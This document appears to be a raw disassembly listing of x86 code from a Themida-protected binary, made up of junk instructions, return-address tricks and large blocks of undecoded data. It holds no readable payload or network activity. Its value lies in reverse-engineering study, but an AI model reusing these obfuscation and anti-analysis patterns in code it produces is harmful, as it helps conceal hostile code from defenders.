; ---------------------------------------------------------------------------
pushfw
loc_5E8E37: ; CODE XREF: sub_5E8E10+19j
mov ah, 8Dh
loc_5E8E39: ; CODE XREF: sub_5E8E10+12j
mov eax, [ebx]
jmp loc_5E8E49
; ---------------------------------------------------------------------------
dd 88C5858h, 0DFDAC3D3h
db 0F6h
; ---------------------------------------------------------------------------
loc_5E8E49: ; CODE XREF: sub_5E8E10+2Bj
or eax, eax
jz loc_5E8E88
cmc
mov eax, [eax]
jmp loc_5E8E6C
; ---------------------------------------------------------------------------
adc eax, 242AFA98h
push 5
xlat byte ptr es:[ebx]
db 67h
retf
; ---------------------------------------------------------------------------
cmp eax, 0D137B2C2h
rcr byte ptr [ebp+36h], 1
loc_5E8E6C: ; CODE XREF: sub_5E8E10+44j
mov [ebx+4], eax
jmp loc_5E8E88
; ---------------------------------------------------------------------------
dd 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 6E6BADF6h, 0BC7758F9h
; ---------------------------------------------------------------------------
loc_5E8E88: ; CODE XREF: sub_5E8E10+3Bj
; sub_5E8E10+5Fj
mov ecx, 234CF6h
call sub_5E8EA5
inc esp
repne add esi, 0A0DA9AD5h
pop edx
scasd
pop ebx
dec esi
popf
mov word ptr [edi-6], ds
xchg ecx, eax
push cs
sub_5E8E10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5E8EA5 proc near ; CODE XREF: sub_5E8E10+7Dp
jmp near ptr sub_5E8EB5
sub_5E8EA5 endp
; ---------------------------------------------------------------------------
dw 8486h
dd 0F397C1ADh, 63FDF98Dh
db 7Bh
; =============== S U B R O U T I N E =======================================
sub_5E8EB5 proc far ; CODE XREF: sub_5E8EA5j
pop edx
mov cx, 2DE4h
add edx, 71BEh
push eax
jmp loc_5E8EDA
; ---------------------------------------------------------------------------
dw 9019h
; ---------------------------------------------------------------------------
retf 8C4h
; ---------------------------------------------------------------------------
db 0FBh
dd 3BCBE583h, 9BAB312Eh, 8DB13963h
; ---------------------------------------------------------------------------
fild word ptr [ebx]
loc_5E8EDA: ; CODE XREF: sub_5E8EB5+Cj
pop ebx
mov eax, 1C43h
pusha
mov ebx, 75AC7E08h
push eax
pop esi
popa
loc_5E8EE9: ; CODE XREF: sub_5E8F22+1Fj
push dword ptr [edx]
jge loc_5E8EF5
mov cx, 1643h
loc_5E8EF5: ; CODE XREF: sub_5E8EB5+36j
pop esi
jg $+6
xor esi, 3F0C9CF5h
mov cx, di
add esi, 54318870h
call sub_5E8F22
sbb al, bl
push ebx
lahf
nop
adc [eax], cl
ja short near ptr loc_5E8F80+5
or dl, dl
retn
sub_5E8EB5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 49h, 0F7h, 0C4h
; ---------------------------------------------------------------------------
scas byte ptr es:[di]
; =============== S U B R O U T I N E =======================================
sub_5E8F22 proc near ; CODE XREF: sub_5E8EB5+56p
pusha
cmc
mov al, 0DAh
popa
pop ebx
xor esi, 1D5A139Ah
mov edi, 0A7BDB97h
push esi
movzx ecx, di
pop dword ptr [edx]
stc
sub edx, 4
mov di, ax
dec eax
jnz loc_5E8EE9
cmc
lea ecx, [ebp+618D513h]
mov edi, [ebp+612255Dh]
mov [ebp+6122DCDh], ecx
or [ebp+61211F5h], eax
mov ebx, [ebp+61227C5h]
mov dword ptr [ebp+61231BDh], 6D48h
push 0
push ebx
call sub_5E8F7B
and [ebx-3Dh], bl
sub_5E8F22 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5E8F7B proc near ; CODE XREF: sub_5E8F22+51p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
loc_5E8F80: ; CODE XREF: sub_5E8EB5+62j
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5E8F7B endp
; ---------------------------------------------------------------------------
db 0EEh
dd 0F12AA9D1h, 0F08166A1h, 85C7045Eh, 6120011h, 0
; ---------------------------------------------------------------------------
mov dx, si
mov edx, [ebp+6121BB5h]
push dword ptr [ebp+6120841h]
push 0
push edx
call sub_5E8FBA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E8FBA proc near ; CODE XREF: Themida_:005E8FB2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5E8FBA endp
; ---------------------------------------------------------------------------
fld dword ptr [ecx]
push ecx
enter 4B28h, 0EFh
sbb ecx, [ebx-1E42F63Dh]
sub [edx], edx
push es
call dword ptr [ebp+6122781h]
sub eax, [ebp+6123041h]
push 0
call dword ptr [ebp+61229D1h]
mov eax, eax
jmp short loc_5E900C
; ---------------------------------------------------------------------------
dw 2DD9h
dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 39B54323h, 7F84B43h
dd 642B7AE8h
; ---------------------------------------------------------------------------
loc_5E900C: ; CODE XREF: Themida_:005E8FF0j
lea ecx, [ebp+618D617h]
push 0
push eax
call sub_5E901D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E901D proc near ; CODE XREF: Themida_:005E9015p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5E901D endp
; ---------------------------------------------------------------------------
db 72h, 1Fh, 0A8h
; ---------------------------------------------------------------------------
mov dl, [ebp+25h]
xchg eax, ebx
mov dh, 60h
jmp loc_5E9049
; ---------------------------------------------------------------------------
db 7
dd 2BADB633h, 0A4B55441h, 4C12631Eh
db 23h
; ---------------------------------------------------------------------------
loc_5E9049: ; CODE XREF: Themida_:005E9036j
mov si, 3B00h
popa
mov ax, si
mov [ebp+6122DCDh], ecx
push 0
push ebx
call sub_5E9062
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E9062 proc near ; CODE XREF: Themida_:005E905Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5E9062 endp
; ---------------------------------------------------------------------------
dw 903Ah
dd 0BB1FBF65h, 85C77240h, 61231BDh, 5910h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 84C35141h, 519D3138h
dd 0C7061215h, 12001185h, 6, 0C6B70F00h, 29A5B5FFh, 0BD8B0612h
dd 6122141h, 278195FFh, 7E90612h, 0EB000000h, 0CD89967Bh
dd 13E9C3C0h, 0DA000000h, 0EF30C15Ch, 9BA281B6h, 953B28D8h
dd 0AA3F9094h, 6AE086h, 29D195FFh, 0C08B0612h, 0C7475CEBh
dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E84F748Eh, 2A75BDF2h
dd 6E3A9AB5h, 0A3DFED5Ah, 0A666FD3Ah, 0FE3D8F60h, 0F1214DB3h
dd 9028676Eh, 773B92E3h, 9BD8B4C9h, 0A647475Eh, 9E634A77h
dd 0E8F1D336h, 0C32629B4h, 0C172EDFFh, 157E25EEh, 0B9188CC8h
dd 23CCE8B9h, 0CF5C2823h, 2CE9B41Eh, 33000000h, 1322C0h
dd 9 dup(0)
dd 0E9000000h, 0B8Dh, 18D80A68h, 70E8E906h, 3168FFFAh
dd 0E90618D9h, 0FFFA70DEh, 18DAEB68h, 70D4E906h, 1168FFFAh
dd 0E90618DCh, 0FFFA70CAh, 18DE0F68h, 70C0E906h, 0C768FFFAh
dd 0E90618DFh, 0FFFA70B6h, 18E0B468h, 70ACE906h, 0A421FFFAh
dd 0D458FE44h, 1292387Eh, 49C86EB4h, 7EFFA5EBh, 49EDC22h
dd 95DB35B6h, 0CE146CEFh, 0A50A628h, 4A90E664h, 0B0438713h
dd 3A21F8E4h, 331995E9h, 666D59AFh, 6421F8E4h, 15B798FAh
dd 0A0AE4197h, 3FA0C422h, 0E22676B0h, 58B03317h, 607EA406h
dd 0B4F7349h, 21F265FDh, 9360A420h, 57DE0E7Bh, 0FC668BEDh
dd 1472F2D8h, 671E190Bh, 0F557D4DAh, 75C91682h, 9527DE0Eh
dd 0AFAA26D2h, 39885AF7h, 0EF000000h, 83E40C9Dh, 13EB8F75h
dd 37BCA86Fh, 0B327E0FCh, 8FD3F749h, 21F2DD09h, 0C13D61CBh
dd 0E9F767Dh, 0A80A74DEh, 9F3EC935h, 48DADE0Eh, 4D57D367h
dd 0AB335AF7h, 9A000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h
dd 85CB2DABh, 0E036B881h, 1D7BF927h, 349413F9h, 8806ACD2h
dd 94159B2Eh, 0A88E0A2Eh, 0A26ED026h, 0DE0DC560h, 0FC1A60CAh
dd 0FD5BDBADh, 0BD4387ABh, 3FD8196Eh, 4ACBB1D5h, 86D82EB2h
dd 0BF199A40h, 0B1926A66h, 180508F5h, 97Eh, 0E42A8E0Bh
dd 1E64BA3Eh, 549AF878h, 93D92FAEh, 0CE146CEDh, 2BAC1290h
dd 66E98FD5h, 0A022C80Eh, 0DC5A0046h, 71FD347Ah, 0F8EAA62Dh
dd 0A2D32421h, 183C9415h, 17DC209Ch, 0D327E032h, 32767D69h
dd 0A7427E0h, 5EDC82A8h, 7DFEE408h, 5CBE9023h, 997F1D36h
dd 5599BD1Bh, 27E0328Eh, 9A80E24Ch, 2889AD0Fh, 948DAC31h
dd 0EE22EAEFh, 0A92DAEB7h, 8ED2D638h, 21F23E08h, 0D82B6FEBh
dd 22DE0E3Eh, 0C73156B8h, 26AA9034h, 96B3DD0h, 0E3EB23Dh
dd 0FBBC4EDEh, 0F7EED34Fh, 0D1AF5Ah, 15160000h, 2F850597h
dd 0BB3C4ADDh, 0DC5B4165h, 0B517E97Ch, 36C7D642h, 0D04E27E0h
dd 0EF43076h, 0CD9F328Ch, 297FFD6Bh, 6C991096h, 7E45FF71h
dd 4165B7EEh, 0D6BC7FDh, 75BB25DEh, 4C705257h, 19DC0708h
dd 4AB314D8h, 4182861h, 5E49D366h, 0CEBE8D55h, 9466F94Fh
dd 15BBE042h, 29AD3B91h, 775D81D3h, 18549AF6h, 2B1DB5B7h
dd 4FD5DD8Fh, 0E83611DBh, 9D1FADFFh, 7CDEB043h, 0DA338D0Eh
dd 0F5B03DC4h, 579A878Ah, 0E4000008h, 25CB1167h, 5F054BA1h
dd 9D4389DFh, 0DA80C61Eh, 7BB9FF59h, 0B6129327h, 0F147CA70h
dd 2D8305ABh, 65C341E7h, 185CE81Fh, 21F8EBCBh, 158DBE0Fh
dd 50F63C94h, 0F22E74D2h, 78F6880Ch, 2B39CC1Eh, 0ECBE51A7h
dd 7F57389Ah, 5BBD1B99h, 76626FEDh, 5BCD2CDDh, 2C9C72A1h
dd 7ED08145h, 79F5992Ch, 0E0D0AE35h, 60C22C27h, 0CC1274F2h
dd 6E12FBAEh, 3D830423h, 0D014388Ah, 21F245C6h, 79871A84h
dd 0FD799DFBh, 0E062AB9h, 468DD1DEh, 84DE0E06h, 96BD51Ah
dd 40C1A7E3h, 8284DFE8h, 0F08D655Ah, 44A2208Eh, 7E2BF20h
dd 5E460078h, 98A12634h, 0FA5CCAF9h, 5CED1B87h, 0D5495948h
dd 7F126EEFh, 4E314BADh, 0D858F270h, 8715E77Ah, 4618AB05h
dd 8A08AEF4h, 0C6186EF0h, 1839C733h, 81A35548h, 0E442C0BEh
dd 0E07AF89Eh, 0A0E4085Eh, 55481853h, 48DB2D97h, 0B7E7EEDCh
dd 5E2123AAh, 0F90A4ECAh, 1554818h, 49C73597h, 8503A9EFh
dd 9F0A9023h, 397DF91Dh, 554818AAh, 6064C630h, 5A35821Ch
dd 0B0F66053h, 81A51792h, 67C05B3Dh, 0D1543A4Dh, 0B416E87Bh
dd 2692258Fh, 4163DFD8h, 54D6BC38h, 339567FAh, 26A25619h
dd 4EE620Ah, 419h, 0B0CCAD6Bh, 3E9FC3F9h, 1C67F4F3h, 33379969h
dd 0F20C21EFh, 0FE39A321h, 14C149AAh, 3530289Fh, 7CB807D3h
dd 30795F00h, 0D422668Ah, 16592DC9h, 8F7519ACh, 4D1FB20Eh
dd 1EA405EBh, 0FC1D7EFAh, 0BEF5B25Dh, 0FF521E80h, 0BF53386Dh
dd 0CD4B3155h, 688E5599h, 0E24C4B58h, 26A44A90h, 8C6F77D0h
dd 0AAAD6AD0h, 69DBDh, 4BAD2A00h, 85DB5F05h, 0BB19993Fh
dd 0F850CF75h, 358B0CB2h, 0CDF1B1EFh, 8AEF44Ch, 43E92F85h
dd 7B2167C1h, 1E559BFDh, 0E8854E92h, 0F44521F8h, 0B60C9DC3h
dd 1B404E92h, 980221F2h, 0F87B6105h, 3E90E664h, 977D9ABh
dd 23092D8Bh, 0E1B346A2h, 0C5890C7Fh, 0A7095FDFh, 4D5CAA8Dh
dd 5BD75377h, 0DE4CC17h, 0EB41C5DEh, 0EDA3CA6h, 0D81FCD00h
dd 4E3458C2h, 0FE174CAh, 63E187ADh, 8180E105h, 162BDD1Ch
dd 0BB559EE2h, 2B95D43Bh, 0F60477D9h, 14FA1E78h, 0D5A73A90h
dd 1230073h, 0EA2EAA3Eh, 0D43BBB19h, 0BB35BE02h, 4BB5D43Bh
dd 0CC3A9C06h, 0E43ABC4Eh, 0E72D7F51h, 0F147C5ABh, 2385E363h
dd 0A7183FFh, 2E75F61h, 7FC60000h, 27BA1A99h, 9C0DF355h
dd 25860226h, 0FD7EB5BDh, 353E10A3h, 72D469BBh, 0F857D8A6h
dd 7BBF3B21h, 0DE07EF68h, 81A60872h, 8C0DF317h, 0C748EE34h
dd 0E9674D71h, 4EBA2D8Fh, 21F8107Eh, 0D14D79F7h, 7EF468Dh
dd 2E1A84DEh, 0DE07EFA5h, 1069BB25h, 0FF8F0BEAh, 774C393Ch
dd 4000005h, 45EB3187h, 7F256BC1h, 0BD63A9FFh, 0FAA0E63Eh
dd 9BD91F79h, 0D632B307h, 1167EA90h, 4DA325CBh, 85E36107h
dd 387C083Fh, 21F8EEABh, 9DADDE2Fh, 1715FF0Ch, 0D30A464Bh
dd 0A0986BAFh, 0F86227E0h, 0C20682A6h, 27E0A331h, 0E9ED4FB9h
dd 26ADF16Dh, 0A427E0A3h, 0D42AAC3Ah, 410D6F41h, 21F87537h
dd 0DC6EF0D6h, 51B3055Bh, 212FC22Ch, 0EADB8EA3h, 454EA82Ah
dd 5059B0DCh, 0CFF8C466h, 0AEF446A3h, 992C8A08h, 18AB0D8Bh
dd 6FB32F3Bh, 0DE070364h, 94D8FC66h, 0DE07034Fh, 0A5BF218Bh
dd 96DA56C2h, 0DE07034Dh, 0DA6DC344h, 0F759C308h, 67AD0B89h
dd 0FEC98F0Bh, 0D66DCE5Ah, 85ECA823h, 0C6A00769h, 0E4000001h
dd 24DF2468h, 0F83CDE07h, 0DE0724EBh, 0D64085EFh, 97159374h
dd 22A0AE41h, 5C427EC4h, 3D2385DBh, 0EE32566Ch, 21F21DE0h
dd 79E578E2h, 0DE0DE36Eh, 8337F88Ah, 5AF82607h, 34E3h
dd 0C9D4A00h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh
dd 0CF4BDFA0h, 0DEC788Bh, 0B61882DEh, 0F81D1692h, 0EF71575Ah
dd 0A6340699h, 168CA24h, 102h, 21E7F68h, 10EC583Dh, 1B990769h
dd 0A862ABDh, 0E0B93DC6h, 9817BD27h, 1E8CEE40h, 0A2B0439Dh
dd 229EC224h, 0E0B915DEh, 0B3098C27h, 9F094E20h, 3EBCCA3Dh
dd 7663C4E8h, 0D7602C33h, 61658BEDh, 27E00C58h, 89DF5D43h
dd 0B3BB927h, 0A05CC2AAh, 0B19D4D88h, 27E06222h, 0C8EC3EA8h
dd 7E36B867h, 155953FEh, 27E08FCEh, 0C250A20Ch, 5F85E741h
dd 2E526841h, 28B51B2h, 5CF49A65h, 50E8587h, 7ADC0753h
dd 0F41257AEh, 0D4523821h, 0D2975CA0h, 0E953DE0Bh, 0A6103597h
dd 0C51B9C82h, 0E97C40A1h, 6844AFF2h, 0B8ADF24h, 5FB11BDEh
dd 64F74DD1h, 640A3092h, 0A9B6D6E3h, 0E3F95A6Ch, 0B443891h
dd 0FBFEFF83h, 3790Eh, 2F890600h, 69BF43E9h, 0A7FD7D23h
dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h
dd 5F054BA5h, 0A4187E1h, 0ECA93A7Eh, 0E03121F8h, 3C9415AFh
dd 74D250F6h, 9715152Eh, 22A0AE41h, 49607EC4h, 0C7A8B937h
dd 24E69746h, 808E2173h, 4416A9FFh, 7CA0F2h, 0AE41971Ah
dd 70AE7ADCh, 0F221F298h, 7C89F588h, 66DE0E68h, 94156344h
dd 0A88E0A2Eh, 0A16DCF25h, 0D81C4507h, 9E65A9E5h, 5CD43C1Fh
dd 8AE064F2h, 8DD325F7h, 41971574h, 0D22A0AEh, 0E327502Ch
dd 27E00110h, 0FE6770DAh, 78727BC7h, 0D6F05619h, 0A7C50B5Dh
dd 589CC002h, 21F2548Eh, 0E34FE24Ch, 0DE0E2814h, 0E99D62F4h
dd 5AF7DC6Dh, 0F92D4BACh, 2ED119B3h, 4165CCh, 9DCC0000h
dd 9DFB7A0Ch, 0BE41274Bh, 0BC000466h, 21F2137Ah, 0FD5BB819h
dd 57B4C203h, 0D0AFD0F5h, 51E4A631h, 9AFB1F71h, 0C421B47Dh
dd 7CEF514Ch, 0D82C710h, 0A88F21DEh, 0F84AA01Ch, 0F77E5Ah
dd 15E50000h, 896E8A97h, 8F98F06Fh, 0EA3C3DEFh, 70C84957h
dd 0F751CFDDh, 7ED85664h, 3C80FC38h, 27E093B7h, 0B637E06Fh
dd 62A7C66Ah, 0F3CA96F8h, 0AC27E0FFh, 30B446C6h, 237547DAh
dd 73D553C1h, 0AF09872Dh, 0CB21A58Bh, 91046638h, 62E09E0Bh
dd 57EA48C8h, 0CEA03385h, 7214587Ch, 0C021F2F4h, 0B7F21056h
dd 387F294Eh, 0FCCE61B7h, 0EC965FF3h, 0D532769Ah, 95D81A96h
dd 0A021072Bh, 69C32448h, 652F07CCh, 0BE648AECh, 6CD113Dh
dd 0E5D439AAh, 39AA52A1h, 0E92E98D4h, 166EF17Fh, 4E3D6BC4h
dd 0C0C3F5B1h, 1C1D3h, 77D14E00h, 0B1078B31h, 0EF45C56Bh
dd 248403A9h, 61B738DEh, 0F9C5DD1Bh, 34DA2078h, 6F155BB1h
dd 0A74D93EDh, 5289CF29h, 0ED7182C6h, 287921F8h, 16997FF7h
dd 6DEE5CBEh, 0A927CD13h, 6BAF2B4Fh, 27E03298h, 0CDB43F83h
dd 0CC36D81Fh, 95BB1D87h, 0B60C9D7Ch, 13C84E92h, 208A21F2h
dd 0ECD6218Dh, 0A032DE0Dh, 1CAF2BDFh, 72EE5AF8h, 0DE0A52Eh
dd 59BB25DEh, 0B5F2h, 97155900h, 6EF08405h, 6133C618h
dd 0F2D87C0Fh, 7861472h, 60E14FB1h, 30097508h, 8127E036h
dd 2081A503h, 699F69CFh, 6E94F687h, 59EC4AC8h, 5B2DD6D3h
dd 67AC2DFAh, 14A7FD7Dh, 7A9EF042h, 0DF61036h, 3278E2DEh
dd 0B2F9514h, 0B74AA225h, 0F104CF13h, 5CC6DE0Dh, 60A4A80Ah
dd 0D8195B86h, 0F0D6FA64h, 2DD3196Fh, 93FB54ACh, 19F5B1CEh
dd 0D42916h, 0E4610000h, 14983E84h, 52D278BEh, 8908AEF4h
dd 0BE3FE52Bh, 0C4DE1C62h, 0D51B75F6h, 0E54AC2Fh, 4A90E668h
dd 8AD026A4h, 7083C753h, 7A21F8D2h, 9415F829h, 0D4BAF63Ch
dd 9668FB51h, 0EE48C634h, 1E7F8FA8h, 9E1FA8Dh, 0CE3C9E9Ch
dd 5563F650h, 0FF3B81D7h, 0A73A9A19h, 1C8D73D5h, 0CC3E82A6h
dd 0AE21F81Bh, 910DB144h, 81A864Dh, 1A9E44DEh, 0A21072C4h
dd 0B89EC224h, 577DDF35h, 42D533B1h, 15DE229Eh, 8CDE081Ah
dd 5172B70Dh, 0F6826CECh, 6FD123D8h, 322CA3A3h, 5A1DA7CBh
dd 33D9E664h, 3F18ED4Ah, 670D53A5h, 856B8FE9h, 98F07103h
dd 7FE1B346h, 297FFE0Ch, 76391396h, 0E779FCE2h, 0A5770A66h
dd 583F153h, 39B75DA3h, 35F4CDFh, 96000000h, 98151A8Bh
dd 219FAD40h, 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h
dd 0B63543D6h, 3DBDCB5Eh, 0C24654E7h, 5622D96Ch, 0C681E689h
dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 66D5685Ch, 3C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 618D6F4h
mov edi, [esp]
add esp, 4
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, edi
mov [ebp+8], edx
mov edx, [esp]
add esp, 4
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_59027A
; ---------------------------------------------------------------------------
db 0C7h, 0A9h, 0B0h
dd 0D327FE49h, 0E1ADB850h, 0C5030618h, 0FE1AE0FFh, 60277E61h
dd 410F5D6Dh, 0EBED39C2h, 0A242268Bh, 0BB4304Ch, 8E5B481Fh
dd 0F79D1ACAh, 0C7374916h, 0FC8223C1h, 720D6A2Ch, 410112E1h
dd 0A13D00FDh, 20F01384h, 0D042799h, 70B561E1h, 0ECD40117h
dd 5E6B3165h, 4DD7288Bh, 0CC92566Ch, 0C86736E3h, 121C6D58h
dd 0B9B47D0Fh, 0D80D1200h, 0B3F30414h, 0D1E354F1h, 85875F3Eh
dd 0F59B71D0h, 654F19BCh, 6FA957CAh, 0DC48083Dh, 50412D7Dh
dd 13E8187Ah, 61000000h, 5281C675h, 0B173519Ah, 78FDAC27h
dd 97565687h, 72B5552Eh, 8B665058h, 0C0815BDAh, 61A2h
dd 3A68EA8Ah, 60000018h, 8B66D38Bh, 605E61DAh, 0FD68B66h
dd 28Ch, 61585200h, 13E930FFh, 92000000h, 82E20198h, 0E8BF804Ah
dd 0E2F90882h, 0D1D2E04Ah, 805A19A5h, 0EA81EAC9h, 6DF07081h
dd 0FDCF8166h, 1CEA813Dh, 0F0B0900h, 0EA81C8B7h, 342BC3CEh
dd 1D5FBA60h, 896128B1h, 0CEBF0F10h, 6604E883h, 0F4EDA8Bh
dd 0FFFFAF85h, 5E8FFh, 66EE0000h, 0E8149E11h, 13h, 71490D5Ah
dd 41EEA554h, 505C3B81h, 6370144Fh, 0E9804F7Ch, 7, 6F9DC34Ch
dd 5936918Ch, 32E95Bh, 60DF0000h, 552h, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5EA338
; ---------------------------------------------------------------------------
push 618E4DEh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618E558h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618E6B3h
jmp loc_583BD9
; ---------------------------------------------------------------------------
xchg eax, ecx
add [edi], cl
retn 6329h
; ---------------------------------------------------------------------------
db 0ACh, 5Fh, 0C6h
dd 65FE4BC4h, 0FF98E52Ah, 4434818Eh, 0FF107D71h, 9D7219B2h
dd 36D9B750h, 0D13E50E9h, 535BAA84h, 4DF84334h, 9A536A47h
dd 0BDE419F6h, 0F842D2B5h, 3BA6B14Dh, 93147AA8h, 0B481B575h
dd 5C6D00CBh, 0E0A9DE31h, 0B71461AEh, 8C7AEh, 49F1EF4Ah
dd 394E56B5h, 4A4DF1CFh, 0F78803Fh, 6C4DF1CFh, 0A9C1F661h
dd 4DF1CEE2h, 0F451D211h, 0FFEE020Ch, 0FAE733C6h, 0AE583393h
dd 2D1E824h, 9B3A0000h, 0EDD4DDAEh, 0F817752Eh, 26DFF665h
dd 35DAB465h, 61C22D00h, 0D9ACE12Eh, 7568E646h, 949F49F1h
dd 0DBB36343h, 0C1548B4h, 384F6625h, 56D25730h, 0B8192443h
dd 300338D7h, 0EA613D9Dh, 39444568h, 876E7704h, 0F503C0C8h
dd 65704756h, 70788FA6h, 4356BF17h, 0B5C65964h, 0F2E936D9h
dd 0BEB4D3DBh, 0BCC74356h, 99761829h, 0CE67621Ah, 642BD016h
dd 2D3h, 0C512FD94h, 62AF602Ch, 14EC1C9h, 9BE82768h, 37848B02h
dd 0D806E47h, 6F1CB502h, 0D6BA53A0h, 3B53EC39h, 5EAD87D4h
dd 0F8443156h, 9F75524Dh, 0DD325B14h, 316C754Ah, 0C8FD1278h
dd 604245F5h, 364147DFh, 37040CCBh, 6549F639h, 9A2DE2ACh
dd 9CEBF352h, 164DF842h, 0F7029A75h, 7914CD8Ch, 0DDB04996h
dd 0A7E5FD32h, 0D14DF842h, 25D352BDh, 0D145E24h, 259A168h
dd 771A0000h, 0DAB24B98h, 3B4FE835h, 0A1EE87D4h, 588216Eh
dd 0E8CDBD0Ah, 3B888706h, 0D926E9A2h, 72BF5040h, 0D5AB5D9h
dd 0ABDCE433h, 0D84DF844h, 931425FBh, 0C5CEC428h, 875CEFD6h
dd 0D0D8977Eh, 49F6B66Bh, 75121A31h, 64DF7FDh, 152068FBh
dd 0B638B9E0h, 7DD9404Ch, 0A3E848DBh, 504DF783h, 0CDE4AD34h
dd 0F783C2C5h, 23B6C14Dh, 0A4C6DEB6h, 16D0B24h, 725D0000h
dd 0F5BEF31Ch, 32297699h, 0E12E621Bh, 0DF5F5631h, 871A2547h
dd 0FDBCA9B2h, 0D9971D7Ch, 0BB4EAA66h, 0DE4A444Ch, 323D49F1h
dd 39D6BA73h, 0B99E3104h, 0F1DDEAA1h, 4FC0D04Dh, 0E039511Ah
dd 592C61AEh, 0F23B9EEh, 0C9E50DD2h, 9C117118h, 33C624AEh
dd 18000000h, 1C0A5AEh, 0F17ECDF9h, 38581149h, 3CCFA2D7h
dd 9CB4E9F4h, 4DF180EFh, 1B50BFCBh, 9CD13E52h, 19BE23D7h
dd 850CD5F1h, 24AEDF0Dh, 0A7DAh, 1C722C00h, 98F5BEF3h
dd 15794277h, 19848B04h, 9C731BE4h, 5B0A674Fh, 1E7047DFh
dd 117932F1h, 116E6BFEh, 435A1908h, 0DF634C3Bh, 91242F47h
dd 5FF1A22h, 0D1DC49F2h, 87345912h, 0F40E087Fh, 36D9B24Dh
dd 0DB28939Eh, 0C2C5CDE4h, 0C14DF40Dh, 7B1223B6h, 97911594h
dd 3CE1EBADh, 0FE75h, 3DD2BF00h, 0DA3557F0h, 7996F48Dh
dd 13FC932Ch, 0AF602DC6h, 0AB437262h, 47E02DE2h, 0E57ECB44h
dd 7E1764ABh, 0D8B2FF10h, 46068189h, 98754DF8h, 0A01B72C2h
dd 0BC6CA3E7h, 47DF5FCBh, 444CADB8h, 7A1360CBh, 0F8AEFB14h
dd 0BEF31C72h, 297699F5h, 1FDEC3CCh, 0F1ADE917h, 0AC9D449h
dd 153C51h, 0AE5CF6D8h, 7C93F758h, 0AFDCC411h, 0B4DF1B4h
dd 0A63F8C83h, 2CF328E7h, 83h, 51363E55h, 324DF1B4h, 0AE669427h
dd 8001C0A5h, 1DBBB83Bh, 0D0D89748h, 47E04DB7h, 0B726B9C4h
dd 0F72790AFh, 0E3182349h, 4E9B741Ah, 1DF29E57h, 718215E8h
dd 7C93FC1Dh, 0C7C4DC11h, 264AA1F4h, 0FDB6CF12h, 0DCED808Fh
dd 0E72867B2h, 0E4672028h, 9144D31h, 0D6B8519Eh, 543B0439h
dd 0F2DE86BBh, 759AF4EFh, 0BCFF8F28h, 31E4D3B4h, 44A5B04Dh
dd 0BC8FC44Bh, 8551C51h, 0BF000000h, 503AF322h, 72FE2CBFh
dd 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h, 0C9FE11h
dd 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh, 6CAD68h
dd 24048900h, 405E089h, 83000000h, 48704E8h, 89565C24h
dd 4C681E6h, 83000000h, 348704EEh, 0C895C24h, 0E7895724h
dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 18E3E168h
dd 240C8B06h, 5404C483h, 83242C8Bh, 815104C4h, 4E7D242Ch
dd 458F1D70h, 8458108h, 1D704E7Dh, 5D2434FFh, 4C481h, 0C8B0000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 91h, 6Dh, 33h
; ---------------------------------------------------------------------------
loc_5EA338: ; CODE XREF: Themida_:005E9E98j
mov eax, 618E7D6h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
align 2
dw 55AAh
dd 0F365787Fh, 0DAFD5C3Dh, 0A32FF10h, 0B59A4C0Fh, 6039E1Ch
dd 0A1BAE912h, 0B4762237h, 143B6403h, 439F7A6Bh, 1A086F66h
dd 7D456379h, 282FAD78h, 0DF567611h, 0FA93482Dh, 7715041Eh
dd 8C884D05h, 6E5C5C2Ah, 0F9EF223Eh, 0D006590Fh, 37C2666Ah
dd 0AF71DA32h, 25A32429h, 1B3F1A7Ch, 0DF83C44Ch, 2DDDD823h
dd 64CA0B27h, 0BACD60Dh, 0B13AC173h, 0B6B66A0Fh, 5E803h
dd 0ABD30000h, 805E900Dh, 0B35913DFh, 0F9C18123h, 6000006Fh
dd 47BE6660h, 61A9B7D6h, 0CE88BA66h, 1BBC6861h, 14E90000h
dd 30000000h, 0E18B827Dh, 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh
